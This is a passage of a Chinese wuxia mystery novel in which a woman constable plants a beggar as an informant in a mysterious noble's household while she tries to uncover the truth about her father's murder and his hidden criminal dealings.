喻枫肃着一张脸站在他面前,和早晨相比她现在已经完全冷静了下来,只有眼尾还有淡淡的一抹红,她盯着江潮生看,直到把后者看毛了,才一摆头:“跟我走。” “啊?”江潮生苦着脸,却也不敢反驳,只能一边摸着肚子一边跟在后面,“走就走罢,连包子都没一个的啊?” 他也就是顺嘴说点牙碜话,没想到喻枫站住了,认真地打量了他一下:“只要你听我的,包子管够。” “完了。”江潮生小声嘀咕,“感觉像是断头饭啊!” 老田家财鱼汤包,乃是选取头天现打上来的大黑鱼,鱼肉剁成茸,猪肉三肥七瘦,用力搅打上劲,中间分三次加入鱼头鱼尾熬成的浓汤,包子皮用的是上好白面,捏十八褶,咬开个小口,轻轻一吸,汤汁鲜得眉毛都要掉下来,再连皮带馅地把鲜香丰腴的包子吞吃入腹,光是这么想想,江潮生的口水就要流下来,挨饿的时候经常发誓,如果让他敞开吃,他能吃整整一大笼! 但如今,他手里的干荷叶上还剩下三个包子,他却怎么也塞不进去了,看着包子已经失去了刚出笼时候的雪白暄软热气腾腾,心里直叫可惜。 “吃不下了?”喻枫冷眼瞧着他问。 江潮生费力地打了个嗝儿,破罐破摔地说:“喻捕头,你让我死个明白吧。” “看见了吗?”喻枫和他站在巷子的拐弯处,往前就是鸿宾楼的后门,和前面客栈敞开大门迎客做生意的热闹不同,这里幽静得很,只有一扇小门出入。 “小院里面住着个公子,带了一大一小两个丫鬟,还有个护卫,因为涉案,暂时不能离开江州,所以他急着找几个人使唤。”喻枫冷静地分析,“我会去找牙婆帮忙,把你卖进去。” 她回头看了江潮生一眼,补充:“放心,我给你造个假身份。” “啊?”江潮生呆滞地指着自己,“你要我去当线人?” 他顿时觉得包子不香了,连连摇头:“喻捕头!这不是闹着玩的,我胆小又懒,脑子也不机灵,我去当线人,不是坏了你的正事吗?” 他转身就要溜,被喻枫揪住后衣领给拽回来:“没要你去送死!你只要替我盯住那个人,看他平时都做什么,和什么人来往,绝对没有风险。” “那人家也不一定看得上我啊。”江潮生叫苦连天,“你不会是想牙婆只卖我一个,让他没得选吧?那是个人都会怀疑啦!” 喻枫定定地看着他,正当江潮生以为她改主意的时候,她低声说:“你不是英雄救美过吗,跟丫鬟姐姐说点好话?” 江潮生脑子一热,脱口而出:“喻捕头,算我求你了,五年前我是真不知道你扮女装是为了钓那个六省通缉的采花贼……” 他想说自己当时冲出去是一腔正义,虽然惊动采花贼差点坏了事,但最后人不还是抓住了吗,喻枫为何每次提起来就像是自己欠了她多少钱似的。 话一出口,江潮生恨不得自己打自己耳光:什么叫扮女装!喻枫本来就是女的! 他提心吊胆地看着喻枫,生怕她又大发雷霆,出乎意料,喻枫脸色阴沉,并没发火,但是语气更加坚定:“就是你了,你有什么条件,现在可以提。” “不是钱的问题!”喻枫越固执,江潮生越害怕,他拼命摇头,“我是一条贱命,但也怕死啊!你喻捕头是官府的人,一声令下,街面上愿意出人出力,帮你盯梢的人多了去了,都比我有用!你再要肯出钱就更好了,什么虎头帮,飞鱼帮,还有红花会……我都能替你联系到!” “没有别人了,江潮生。”喻枫平静地打断他的滔滔不绝,“只有你能帮我。” 她面无表情,但不知道是哪一点打在江潮生的心上,让他嗫嚅着岔开话题:“怎么?官府现在连线人的银子都欠啊?” 喻枫二话不说,从袖子里掏出二两银子丢给他:“这个人昨天去过金满堂,夜里金满堂就遭了劫掠,相捕头已经去问过话了,他说这个人和案子没关系,我不信。” “也就是说,我不是给官府当线人,是给你当线人?出事了连个名分都没有,死了白死?”江潮生第一次觉得银子烫手,捏在指间想还给喻枫,又舍不得,银子哎,白花花的银子,他都有十几年没摸过了。 “我不会让你死的。”喻枫冷着脸说,“还有,要是连通风报信你都能给搞砸了,那你就真是一坨臭河泥,死了也不可惜!” 就在外面关于金满堂惨案的议论甚嚣尘上,已经谣言到金满堂仓库十万两黄金被一夜搬空的时候,叶景行正把得来的银票装匣,郑重地交给高远:“这里面一共四十八万六千两银票,你通过可靠的渠道回京,务必亲自交到义父手里。” 高远一手执剑,一手掂了掂银票匣子,不大满意地说:“金满堂勾结贼匪,一进一出的,跟无本生意也没什么差别,居然只搜出来这点?连五十万两都没有,公子,你说那老东西是不是还有额外的私密库房没被发现?” 叶景行挥笔写信,淡淡地说:“其实就连这些我们也不该拿,判仙笔出世为的是惩恶锄奸,不是为了发财,这些赃款理应留着等官府来查收入库。” “这些银票交到王爷手里跟充公也没分别哩!”高远一听,生怕叶景行改变主意,立刻把匣子揣怀里,“外面人都认定,公道堂本身就是为了不让朝廷干涉江湖之事,自己出面清理门户才横空出世的,是江湖人自己的事。咱们要是摆出跟官府有牵扯的样子,谁不说一句公道堂是朝廷的走狗,那王爷和公子所谋的大事不就泄露了嘛!” 叶景行停了笔,黑眸清凌凌地看过来,高远作势跪下:“属下失言,请公子降罪。” “行了,去办事吧,把香堇叫进来。” 高远松了口气,赶紧提醒:“香堇去牙行了,这丫头也真是的,不就买几个人?去了这般时候不见回来。” 正说着,隔着门听到院子外有脚步声,高远警惕地抓紧长剑,叶景行却继续洋洋洒洒地写着信,头都不抬:“是香堇,带了两个人……咦,奇怪。” 叶景行的笔顿了一顿:“一个脚步虚浮下盘不稳,另一个虽然听起来脚步凌乱,但实际好像是有功夫在身上的。” 高远吊起眼笑了笑:“香堇素来谨慎,难道要阴沟里翻船?她不会把什么匪盗的内应给带来了吧?” 此时的香堇下了马车,挥手让两人跟着自己,跨入小院的时候还在叮嘱:“你们只在外院伺候,万万不可进屋,我们公子身份贵重,身边用的都是知根知底的家生子,若在京里,就你们这样买来的外人,十年八年也休想进院子里伺候呢。” 她轻叹一声,眉尖凝起轻愁:“本打算逛一逛就回京了,谁知道又被不讲理的官爷给绊住,真是委屈了公子要羁留于客途。” 她说着又愤愤不平起来:“公子心善,不愿意为难知府,否则两指宽的纸条子送过去,知府怕不要亲自过来送行!” 江潮生低着头,谨慎地打量着小院,这是鸿宾楼的精舍,一向只招待贵客,此番被整修得更加雅致讲究,中间铺的青石板地面用清水擦得簇新水亮,墙边新栽了几从翠绿修竹,又一溜摆着紫砂的花盆,姹紫嫣红开得好不热闹,迎面三间正房新换了银红窗纱,锦缎的门帘被微风拂过,轻轻撩起下摆,飘出屋内淡淡的幽香,一个大眼睛小丫鬟坐在厢房廊下的美人榻上做着针线,看见他们进来,欢叫一声起身相迎:“香堇姐姐回来了——” 陶陶故意掐出的声调卡在喉咙里,看着香堇背后新买的仆役有些不知所措:一个是十四五岁半大小子,黑黑瘦瘦的倒也寻常,另一个…… 她看着江潮生狼狈的样子,鼻青脸肿,额头上还肿了个大包,衣服本来就破旧,又被撕得更烂,还沾着灰土,比街边的流民还要凄惨些。 她不敢相信地看着香堇询问:这总不会是你打的吧? 香堇丢给她一个眼神,指了指地面:“你们站在这里等着。” 说完她袅袅婷婷走入屋内,陶陶一边给她打帘子一边还忍不住回头看,江潮生本来想趁着掀帘子的工夫偷看的,被迫只能低头装老实,只惊鸿一瞥地看见从轻纱屏风一角露出的白色衣袂。 却不知在帘子掀起的一瞬间,叶景行若有所思地抬起眼看向了屋外,透过屏风正把他凄惨的样子收入眼底。 “公子,人买回来了,俱是身家清白,有店铺联保的。”香堇声音清脆地禀告。 高远早凑在窗前看了个分明,低声问:“那小子什么来头?” “正要向公子回明,上次奴婢出门遇到流氓拦路,幸得一位义士为了我解围,今日又遇到他被上次那伙流民追打泄愤,说是坏了他们的好事,见一次打一次,奴婢于心不忍,想着这其中到底和奴婢有些缘故,就自作主张买了下来,个中缘由,不敢欺瞒公子。” 高远无声而夸张地做出捧腹大笑的姿势,香堇狠狠瞪了他一眼,他收了势,把声音压到极低地奚落:“这么明显的局,我不信你看不出来。” 香堇嘴唇不动,也用极低的声音回答:“人家费心做局,我若不接着,也太不给面子了,与其等后面又塞人进来,还不如买这个蠢到挂相的。” 叶景行落下了家信的最后一笔,放到一边晾干,淡淡地说:“既然来了,就好好调教。” 说是好好调教,其实也就是香堇说了两句要勤快伶俐听使唤,再三叮嘱不可进入屋内,然后小手一挥,叫他们去前面鸿宾楼开了房间洗澡换衣服,整束一新之后还有顿饱饭。 “妈呀,这也太好吃了!我生下来就没吃过这么好吃的饭!”江潮生明明上午还揣了一肚子包子吃到打嗝,现在也不得不做出痛哭流涕感恩戴德的样子。 那个黑黑瘦瘦的小子自称叫长寿,也是埋头狠命扒饭,三碗之后才放下,脸上沾着饭粒憨憨地笑:“俺也一样。” 连鸿宾楼的肖掌柜听到两人如此能吃都过来看稀罕,听到这话,不知道触动了那根弦,面露悲悯,叹息着挨个摸了摸两人的头:“如今这世道,外面饿死的还不知道多少,你们能卖身到这样的人家也是好事,一定要好好听主人的话,不要讨嫌,等那位公子离开江州的时候带你们上了京城,那才是福气呐。” 江潮生用力点头,又不经意地打听:“掌柜的,不知道公子姓什么叫什么啊?我听说,贵人的名讳尊重,我们做下人的日常口头都是要避着些的,我怕我一不小心哪个字说错了,卷包袱滚蛋。” “怎么?签契约的时候主家没告诉你吗?”肖掌柜捋着胡子惊讶地问。 “没有啊!”江潮生不好意思地笑,“我被揍得昏天黑地,眼见有条活路,立马就签字卖身了。” 长寿也跟着摇头:“不知道啊,主家没说。” “哦……他们没说啊?那我也不说!”肖掌柜语调拐了个弯,转身甩着袖子走了。 江潮生出师不利,等吃完饭回到小院跟着香堇去看自己住的倒座房的时候,谨慎地没有开口,傻乎乎的长寿却有心显摆,抢着问了出来:“姐姐,咱们主子姓什么啊?” 香堇笑吟吟地回身,温柔地问:“你问这个做什么?” “哦……”长寿虽然憨,却也看得出眉眼高低,摸着头不知所措地说,“就是,至少知道我卖给谁家了。” 江潮生狠狠地在心里松了口气,真怕这傻小子把自己供出来。 香堇看起来不疑有他,轻笑着推开门:“告诉你们也无妨,公子姓叶,在京中是贵重人家,双名上景下行,你们可记住了?” 景行……遥远的儿时记忆,烙印在心底深处,又被多年颠沛流离生活的伤疤掩得密密实实的地方突然一阵剧痛,久违的热血翻涌喷出,江潮生一阵恍惚,情不自禁地说了出来:“高山仰止,景行行止,好名字!” 记忆中,有个白皙俊秀的孩子,一边咳嗽一边翻着书,用细长手指描摹着上面的字跟自己解释:“我叫唐景行,就是这两个字,取自《诗经.小雅》的高山仰止,景行行止。” 江潮生狠狠咬了一下舌尖,才清醒过来,眼前是香堇好奇的目光:“看不出来,你还读过书?” “嗨!”江潮生不好意思地低下头,“香堇姐姐别看我这样,以前我也是好人家的儿子呢,都读到诗经了。” 香堇想笑,却又露出了怅惘的神色:“是啊,命运多舛,往往如此,不过,现在你已经是公子的仆人了,过往的人和事不要多想,勤勉当差最是要紧。” 江潮生和长寿都赶紧点头哈腰地答应,等香堇出去之后,长寿大着胆子蹭到属于自己的床边,小心翼翼地摸着厚实的褥子,眼泪都要流下来:“老天爷啊,俺做梦都没想过能睡这么板正的床,还有被子!” 他扯开被子,在身上绕裹了一圈,又贴在脸上细细磨蹭,忽然端正了神色,十四五的半大孩子竟有些沧桑地开口:“小江哥,不管你怎样,这样的好日子,我是要死心塌地跟着公子的!” “说什么呢!”江潮生走过去,不客气地兜头给了他后脑一巴掌,“我不知道这是好日子?我就不会死心塌地跟着公子?哼,从明天起咱们就比一比,看谁更干得更好!” 他摇晃着手指,半威吓半调侃地说:“牙婆可说了,有七天的试用期,若是公子不满意是能退回去的!我反正不能被退回去,你啊,自求多福吧!” 他撂下狠话,三两下脱了衣服,跳到床上裹着被子惬意地扯起了小呼噜,只剩下长寿怔怔地坐在床上,半晌也握拳发狠:“俺也不能被退回去!俺要顿顿吃饱饭!” 一大早,长寿就被江潮生忽悠着起来挑水,本来小院的用水是鸿宾楼的伙计每天挑了送来的,江潮生却一本正经地对长寿说:“这种富贵人家可讲究了,每日洗脸的水泡茶的水,都是要分开的,伙计知道什么?就必须亲自挑的才见忠心。” 于是长寿一遍又一遍地来往于夹壁墙的过道内,他年纪小,每次只得半桶水晃悠,累得气喘吁吁,却见江潮生拎了个桶,拿着他辛苦挑的水往地上泼。 “小江哥!你这是干嘛?”长寿一嗓子就叫了起来,江潮生赶紧示意他闭嘴,然后蹲下身子,用抹布细细地擦拭着台阶,直到把正房出来的几节台阶擦的光可鉴人。 一边擦,他一边还教训长寿:“看我多照顾你,把趴在地上擦的累活儿留给自己,你只管挑水,还能去前面散散闷。下次可不许这么大惊小怪了,惊动了主子,那还了得?” 他在门口絮叨,屋内的叶景行已经睁开了眼睛,略带迷蒙地看着帐顶,随着香堇趋前伺候他起床,他的脑子里好像勾起了一抹久远到不愿意再想起的记忆。 江潮生正在卖力地擦台阶,就看到门帘一掀,一双丝履出现在眼前,雪白干净得仿佛生来就不染一丝尘埃,他慌忙垂下头,知道正主儿来了。 “你叫小江?”一个清冷如玉石相击的声音从头顶传来,江潮生小心地点头:“主子在上,小的名叫江潮生,外面人管我叫小江。” “以后就叫阿生罢。”叶景行轻描淡写地撂下一句,又问,“你昨天说你还读过书?不是说一直在乞丐窝里长大的么?” 江潮生的心蓦然一紧,他十分清楚自己没跟香堇说过,难道说他们背后调查了自己? 这可大非富贵人家应有之像,莫非喻枫的怀疑是对的? 但现在改口也来不及了,他只能装腔作势地低头抹泪:“谁还能生来就是叫花子了?我从前住在乡下庄子里,家里几亩薄田一头老牛,虽然娘死的早,但爹对我极好,家里还有个哥哥,又聪明又善良,很会念书,带着我,给我启蒙,要不是后来遭了土匪……” 明明是假的,他越说越带出来一丝怅惘,那些生命里仅有的甜蜜时光在舌尖打了个转,真情实感地流露出来。 叶景行垂目看着他,面无表情,甚至还带着一丝嫌弃,不紧不慢地说:“香堇,既然来了人,该采买的就叫他们去,省的误事。” 香堇敛袖应是,看叶景行转身进了屋子,笑吟吟地问:“你们谁跟我出门?” 江潮生一想到跨出这个门说不定喻枫就在外面等着自己逼问线索,赶紧低头装死,刚挑水回来的长寿一听还有这好事,咧着嘴就凑上来:“我!我愿意跟姐姐出门!” 香堇抿嘴一笑,掰着手指头:“今儿有好几家要跑,不如我们分头去,还快一些。” 长寿自然是拼命点头,黑瘦的小脸上都泛出红光来,香堇又斜了江潮生一眼:“既然喜欢擦地,就多擦几遍。” 屋内的叶景行隔着屏风看见江潮生老实地待在院子里,心里冷笑一声:居然还不太笨。 其实江潮生大可不用担心出门遇到喻枫,因为喻枫现在正在府衙里,找了个僻静的地方,拉着仵作的袖子,暗暗地把一包银子递过去。 年老的仵作惊得常年眯起的眸子都瞪圆了:“喻捕头,这是作甚?使不得使不得!” “懂了,要银票方便藏是吧?”喻枫又往袖子里摸索,被老仵作不顾一切地按住手:“万万不可!大家都是公门中人,知法犯法罪加一等啊!” 喻枫的手停住,不死心地问:“我听说令郎膝下只有一个孙子,到了进学的年纪……” “怎么,行贿不成,要改胁迫了?”老仵作痛心疾首地跺着脚,“喻捕头,你青春大好,前途无量,做什么要干这种徇私枉法的事?” 喻枫试图说服他:“我不要你做别的,只要把金满堂案的尸格给我看一眼……一眼就行!” 老仵作叹了口气:“此案非同小可,相捕头吩咐过,除了他本人,任何人不得过问,并不是针对你。” “相捕头今日不在。”喻枫早就打听好了,尽力恳求,“不然这样,等会别关门,您老人家出去喝盏茶,日后有人问起来,我一力承担,绝不说出您来。” 老仵作眼珠子乱转,似有动心的意思,喻枫刚要再加一把劲把银子重新递过去,就听到身后有人轻咳一声:“老何,你先下去罢。” 喻枫僵在了原地,直到老仵作离开,身后之人转到她前面来,才深吸一口气,拱手见礼:“纪大人。” 纪知府四十出头的年纪,当年也是进士及第的人才,任职江州十余年,从同知做到知府,一向雷厉风行,但此刻面对喻枫,却放缓了语气,像是拉家常一般:“此地幽静,少有人经过,也亏得你找了这么个地方。” 喻枫脸一白,强撑着辩解:“大人,您和相捕头要我回避案情,我不敢不应,但是为人子女,父亲死了,我连遗容也未得瞻仰,总是心有不甘。” 说完她抱拳施礼:“请大人开恩,准我为父暗中收敛。” 拿不到尸格也不要紧,她有眼睛自己会看,只要能接触到喻东升的尸体,总能查出蛛丝马迹。 纪知府微微一叹:“喻捕头,自你来江州,也有五年了,这五年里你日夜不休,缉拿匪盗,一心保地面太平,我都看在眼里。” “份内之事,不敢当大人谬赞,更因为如此,我一定要查出我爹被杀的凶手!”喻枫控制不住,眼圈微微泛红,“大人,您就让我参与查案吧!” “正要告诉你,相捕头昨夜跟我和师爷商量过了,此案打算以江湖仇杀结案,至于金满堂勾结盗匪之事,证据不足,不予立案,但金满堂账目上长期有拖欠税款,瞒报漏报的行为,所以产业全部查封归公,这案子就这样结,至于你……过个两三月,以回乡探亲的名目辞职,远走高飞去罢。” 犹如晴天霹雳,喻枫目瞪口呆,不敢相信自己的耳朵:“怎么就轻易结案了!凶手都没有抓到!” “府衙会 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纪知府又叹了口气:“当初看你是个姑娘家,本官特意拨出府衙后面的官房给你做下处,你婉拒了,说在金鱼巷租好了房子,那地方鱼龙混杂,相捕头不放心,特地去暗中调查了一番,生怕你遇见麻烦,谁知道……” 他转向喻枫,清清楚楚地告诉她:“明察暗访之下,原来金鱼巷从你的居所往外扩散,包括背后小甜水巷,前面芙蓉巷……方圆二里地内,七十六家房屋,只有你住的那个院子是向外出租的,其余人等搬进来的理由有投亲,有访友,有继承遗产,有赌赢了房子……” 纪知府的脸上终于露出了一丝怜悯之情:“现在你还觉得,你爹只是个开当铺的普通富家翁吗?是因为运气好才把生意做得大?” 喻枫惨白着脸后退一步,拼命摇头:“不,不可能!” 她知道江洲西城贫民居多,治安不好,起初在那边租房子也是打着有她这号人坐镇,哪怕有小偷也会忌惮一二的主意,所以每次在巷子里出入,邻居的阿婆大婶见到自己就客气热情的样子,她还觉得自己做了大好事! 但是现在,纪知府说什么?他说这些房子都是爹买下的?那些和气的邻居都是自己的爹派来的? 喻枫失魂落魄,脚步踉跄着掉头就走,再也顾不得别的,身后纪知府眯着眼睛低语:“唉,可惜了。” 七天终于过去了,江潮生和长寿都如愿留了下来,没有被退货。 这是江潮生平生最干净的七天,倒不是他突然洗心革面,忘记了自己丐帮弟子的本分,实在是因为叶景行太难伺候了! 他可算知道这厮为何爱穿白,着丝履,还这么干干净净,那是因为所有的灰都被他江潮生一个人擦干净了! 自从第一天抢着擦台阶表现之后,香堇就觉得他是个‘可造之材’,特地嘱咐,凡是公子走过的地方都要擦三遍! 屋子里他是进不去的,但叶景行大门不出,却经常到院子里来赏风吟月,伤春悲秋,再抚弄一下盆里盛放的鲜花。 别说路上不能有一点灰,就连花叶子都必须擦得一干二净!不然他老人家看见灰尘眉头一皱,再捂着嘴咳嗽两声,香堇就如临大敌地奔过来了,赶紧扶他进屋的同时还要责怪江潮生两句。 所以现在江潮生已经练就了在院子里警惕地蹲着,看到隔墙飘过一片落叶都‘汪’地一声扑上去,务必不让它落地的本事。 相形之下,长寿小哥儿就过得快活无比,香堇出门的时候他跟着,或者直接就打发他自己去店里取,每次还能落几个铜子儿入袋,吃得好,睡得好,那叫一个容光焕发。 也许是对比太过强烈,这一日,陶陶主动支使江潮生:“丝线用完了,你去店里替我配来。” 江潮生一愣,陶陶大眼睛一瞪:“你这人怎么回事?叫你办事还懒起来了?” “陶陶姑娘,你不知道哇,我当初卖身是被流氓打得没办法了,现在那群流氓说不定还在街上找我呢,我可不敢出门。” 陶陶噗嗤一笑,娇俏地一歪头:“你才不知道呢,朱老大死啦!” “啊?!”江潮生是真没想到,他不敢置信地问,“怎么好好的就死了?” “那种江湖人,成天好勇斗狠的,谁知道哪一天就死在街头了,还问什么?”陶陶二话不说把单子塞给他,“仔细点啊,别让店家着急忙慌地把线给我配乱了。” 江潮生揣着单子出了门,从踏出院门的一刹那,他就觉得后背有双眼睛看着自己,于是也不敢懈怠,先到丝线铺子去拿货,老板看了单子,表示好几样绣线要从仓库里调,请他略等一等。 这个机会,简直是贴着脸糊到他身上的,江潮生心里暗想,谁也不是笨蛋,他们大约把长寿已经给摸清了,现在轮到自己了。 最好当然是按兵不动,就在丝线铺子里坐着,谁也看不穿自己是个密探。 但是……叶景行的可疑之处,他始终还是要对喻枫提醒一句的,这都七天了,自己拿了人家的银子,好歹也得给个准信。 打定主意,他跟老板说一声等会来取,就故作镇定地出来,去了鼎香楼。 此时不是饭点,只有张发财在后厨勤勤恳恳地刷灶台,看见他进来,激动得差点熊抱上去:“小江哥!好几天没见了,我还以为……嘿,这身衣服不错啊,你捞到好差事了?” 江潮生自己还没反应过来的时候,已经本能地接过张发财手里的抹布开始擦,低声问:“先别说我,听说朱老大死了?” “嗯呢。”张发财胖脸一白,心有余悸地说,“你知道红花会吧?就是从前被海龙帮收服的江匪,后来不是海龙帮散了嘛,他们就在江面上收过路费,现在听说是有意上岸发展,第一个就拿码头的帮派开刀,虎头帮和朱老大为了争地盘打了两三年,这下全被红花会吃了!” 江潮生听得满心不是滋味,凶神恶煞的朱老大追着自己打好像还是昨天的事,这才过去几天,他倒已经死在火并当中了。 他在张发财惊讶的目光中,在身上掏摸了半天,从衣角领边乃至鞋垫子里掏出了一堆散碎银子,全都塞到了张发财手里:“拿着,你不是一直想攒钱重新把张家面摊开起来吗?” “嚯,你真发财啦?!”张发财惊奇地问。 江潮生故作忧伤地说:“这是我的卖身钱。” 张发财一把捂住了他的嘴,小眼睛瞪得溜圆:“江州地面上三大帮派要跟红花会讲数,你不会是去充人头了吧?这是你的安家银子?小江哥,咱们不是约好了吗?世道再难,也得活下去,我有我的面摊要开,你还有你要找的人……” “说什么呢!”江潮生见不得胖子马上要流眼泪的没出息样子,一把推开他,“我能那么傻吗?有安生日子不过,要去打打杀杀?我现在是有差事的人了,嗨,说了你也不懂。” 他往厨房外看了看,确定没有别人,假装漫不经心地问:“最近……喻捕头挺忙的吧?也是,地面不太平嘛,她巡街都得多好几遍。” 张发财挠了挠头:“没有,你一说我想起来,好几天没看见喻捕头了,平时她巡街可勤快了,一天从门口走八趟,嘿,奇怪,最近只看见段捕头有一搭没一搭地路过,懒懒散散的,跟喻捕头那叫一个没法比!” 闻言,江潮生皱起眉头,敏感地又问了一遍:“你记得有几天没看见她了?” “六天吧?”张发财数了数手指头。 江潮生郑重地把手放在张发财的肩膀上,以从未有过的严肃神情说:“刚才,金鱼巷七号院的刘家叫了四菜一汤,让人做好了给送,对吧?” “别逗了小江哥!就金鱼巷住的那群人还吃得起鼎香楼,还四菜一汤……”张发财的声音低了下去,在江潮生的逼视下开始点头,“啊,对对对,是的,是这样没错的。” 江潮生一脸和气地把围裙摘下来给他套上:“快做吧,张大厨,知道你没空送,我这个好兄弟替你跑一趟,你还给了我辛苦费呢!” 江潮生对金鱼巷并不陌生,他常年在街面上混,难免有被‘赶狗入穷巷’的急迫时候,在这种小巷子里左右一拐,背后追的人往往就失去了方向,骂骂咧咧地离开了。 但是今日的金鱼巷,陌生得让他几乎以为走错了地方。 这里屋舍狭窄,白天街坊们往往三两成群地在空地上聚集,择菜的,缝补的,在井边洗衣服的,孩子们叽叽喳喳满地乱跑,再赶上谁家养的鸡叫唤起来,那叫一个热闹。 但今天,从他踏入巷口开始,就没遇见一个人。 死一般的寂静。 他提着食盒,也提着一颗心,小心翼翼地往里走,做好了随时就跑的准备,路过的院子无不院门紧闭,隔着门缝张望一下,黑洞洞的压根没人居住的样子。 好像一夜间,所有人都搬走了。 江潮生越走,心越砰砰乱跳,到底出了什么事?喻枫呢?喻枫还住在这里吗? 他来到喻枫家门口,深吸一口气,轻轻一推,门竟然吱呀一声开了。 “有人吗?”江潮生小声问,“我进来了?” 小院鳖窄,两步就到了屋门前,大门虚掩,里面黑洞洞的,江潮生撅着屁股贴在门缝上想看看清楚,没留神一头栽了进去。 他护着食盒,踉跄着站稳,举目一望,房间里有些凌乱,通往卧室的门紧闭,吃过的碗胡乱地堆在桌上,不知道几天没打扫了,地面上也有一层浮土,他踩进来的脚印清晰可见。 “喻捕头?不在啊?”江潮生说话给自己壮胆,刚起了要离开的念头,一只手突然硬梆梆地压在了他肩膀上。 “啊!好汉饶命!我只是个鼎香楼送餐的跑堂!我啥也不知道,啥也没看见,这就滚出去,不劳英雄费心。” 江潮生立刻闭上眼睛胡乱地就要转身,脸上啪地挨了一记不轻不重的耳光:“醒醒!” 他松了一口气:“嗨,喻捕头你在家——啊!” 江潮生一睁眼,又吓得叫起来,每次见到喻枫,她都是一个英姿飒爽,浑身上下紧束利落的捕快形象,几天不见,她居然变成了一个双眼乌青,披头散发的邋遢鬼。 喻枫不耐烦地看看他手里拎的食盒:“送饭的?正好。” 她一把抢过食盒打开,把桌上用过的碗推到一边,拿出饭菜,毫不客气地大口吃起来。 江潮生捂住胸口,小心翼翼地问:“喻捕头,你没事吧?” 喻枫的咀嚼停了一瞬,又大口吃起来,江潮生壮着胆子掇了条凳子坐在旁边继续问:“外面的街坊,都搬走了?” “东家都死了,没人养着他们,还留下来干什么?”喻枫眼神阴郁,吞了一口饭又问,“你在那家查出什么问题没有?” “没……没!”江潮生大声否认,“就是个娇生惯养的贵公子,皇亲国戚来着,挑剔得不得了,风吹吹就要倒,煎药比煎茶多,他不出门,也没人上门来做客,没有可疑之处” 喻枫犀利地看他一眼:“那他的两个丫鬟呢?还有那个护卫。” “护卫神出鬼没的,我也不知道,两个丫鬟姐姐都挺好的,嘿嘿。”江潮生尴尬地笑了笑,“喻捕头,你看没什么事我就撤了吧?我觉得真不是他们干的,要不然你还是用官府的办法查案?比我靠谱多啦。” “他们不让我插手。”喻枫淡淡地说,“我甚至掏钱贿赂仵作,他都不肯给我看一眼尸格。” “这不难,你夜里偷摸进去看一眼就行了,别说尸格,尸体我都能给你偷出来。” 喻枫啪地把筷子一放呵斥:“你疯了!府衙重地,你想偷盗证物?” “那你都想行贿呢。”江潮生小声说。 两人突然同时噤声,小巷寂静,此时可以清晰听到有脚步声传来,喻枫用眼神示意:你带来的? 江潮生已经慌了,他进鼎香楼的时候有拜托路边的丐帮兄弟帮忙看有没有盯梢,出来的时候明明没事啊! 他跳起来,食盒都来不及拿就要翻窗逃跑:“活打嘴啊,我还说叶公子无辜呢!竟然是想跟踪杀人吗?” 喻枫一把揪住他,‘嘘’了一声就顺手将他推入卧室,江潮生一跟头进门,鼻端闻到一股熏帐子的艾草香味,知道这是喻枫的床,慌得连眼睛都不敢抬起来多看,只顾趴在门上偷听。 这里喻枫刚转身拿起单刀戒备,脚步声就在院门外停了下来,一个温厚的男声问:“喻枫在家吗?枫儿,我是表舅啊。” 表舅?喻枫脑海里勉强拼凑出一个中年长辈的形象,她在原籍的确很见过几面,说是母家的远亲,往往是父亲回乡来看她的时候也上门,笑得一脸慈祥,还会给她带一些女孩子家的小玩意儿。 她打开院门,对方的脸庞依稀熟悉,穿着普通的棉布长衫,双手抄在袖子里,正不安地回头张望,不等她说话就匆忙进入,不由分说一拉她“走,进屋说。” 喻枫单手拎刀,目光警惕:“你是……曹表舅?” “可不就是我吗!一听说我就赶来了……唉,怎么就会出了这样的事。”曹表舅唉声叹气,还用袖子擦了一下眼泪,又担心地问,“你的身份……没人知道吧?” 门后的江潮生竖起了耳朵:喻枫什么身份? “表舅放心。”喻枫模棱两可地说。 曹表舅看着是个老实人,闻言信以为真,连声说:“那就好,你别怨表舅说话直接,如今你是怎么个打算?我看干脆跟我回乡,等风声过去——” “我不走,我要查清楚是谁杀了我爹。”喻枫冷硬地说。 “还有谁啊,不都传开了嘛,公道堂啊!”曹表舅捶胸顿足地说,“没想到消停了十五年,又闹起来了。听我的,咱们民不与官斗……” 他好像突然意识到面前的外甥女就是官差,讪讪一笑,又说:“趁现在没人发现,你收拾行李咱们这就走。” “我不走,我还有事没做完。”喻枫立刻拒绝。 这却让曹表舅误会了,他眼神游移一下,小声问:“有事?难道是你父亲给你留下什么东西要拿?或者叫你去什么地方?” “没有。”喻枫垂下头,“我和他很少来往,金满堂现在已经被查封,跟我无关了。” “哦哦,那也不要紧,我记得老家还有屋子和几亩地,实在不行,还有舅舅呢,我养活你总是没问题的。” 曹表舅说完,侧耳听听外面的动静,站起来就要走:“你这地方古怪,表舅就不多留了,你赶紧把事情做完,过几天等入了夜我再来一趟,捡了要紧东西拿,上路轻省些。” “表舅。”喻枫突然叫住他,“你进来的时候,看到巷子空了,就不吃惊吗?” 曹表舅的脚步一顿,含糊地说:“我知道你想问什么,但我不能说。” “所以,我爹真的是公道堂说的,和江洋大盗土匪勾结,贩卖贼赃的那种人?”喻枫眼睛里盈满了泪水,头一次觉得自己的心在摇摇欲坠,“他从来没告诉过我。” “枫儿。”曹表舅声音沙哑地说,“你爹一直把你保护得很好,你来江州当捕快,他就把金满堂总店搬到江州,你上任的第一天,他欢喜得在万花楼撒了十万两银子。” “万花楼?”喻枫震惊,“不可能!我爹洁身自好,从来不去这些地方!” 曹表舅背对着她,身体微微颤抖:“傻孩子,我说的万花楼不是建在江边闹市的那一座青楼,而是江湖中人买卖消息的机构,有人说过,只要有皮肉生意的地方,就有万花楼的消息渠道。你爹花十万两银子是为了买江州地面上的帮派都给你三分面子,不然,你以为你能一路平顺地做到捕头?你爹疼你至极,你更不能辜负他,你爹最后的愿望也是让你平安富足地过一辈子,听我一句劝,就算你不愿意跟着我回原籍,天高海阔,哪里去不得,不要再想着报仇了,走吧!” 说完,他匆匆离开,喻枫跌坐在凳子上,怔了很久,才自嘲地笑了起来:“江潮生,你都听见了吧?” 里屋没动静,大概江潮生已经被听到的秘密吓傻了。 “我是喻东升的女儿,对,就是公道堂刚杀了的喻东升,他们觉得自己在铲除邪恶,可是我不信,我不信我爹是那样的人!” 她愤怒地起身,几步冲到卧室门前:“你现在知道不是在为官府查案,是为我私人查案,后悔了是吧?我告诉你——” 喻枫拉开门,惊讶地发现卧室里空空荡荡,后窗开着,江潮生早已不见踪影。 5. 第四章 相见不相识 江潮生从窗户里翻出来,一狠心抬手把身上崭新的衣服抓得破破烂烂,袖子都撕了半截垂在风中。 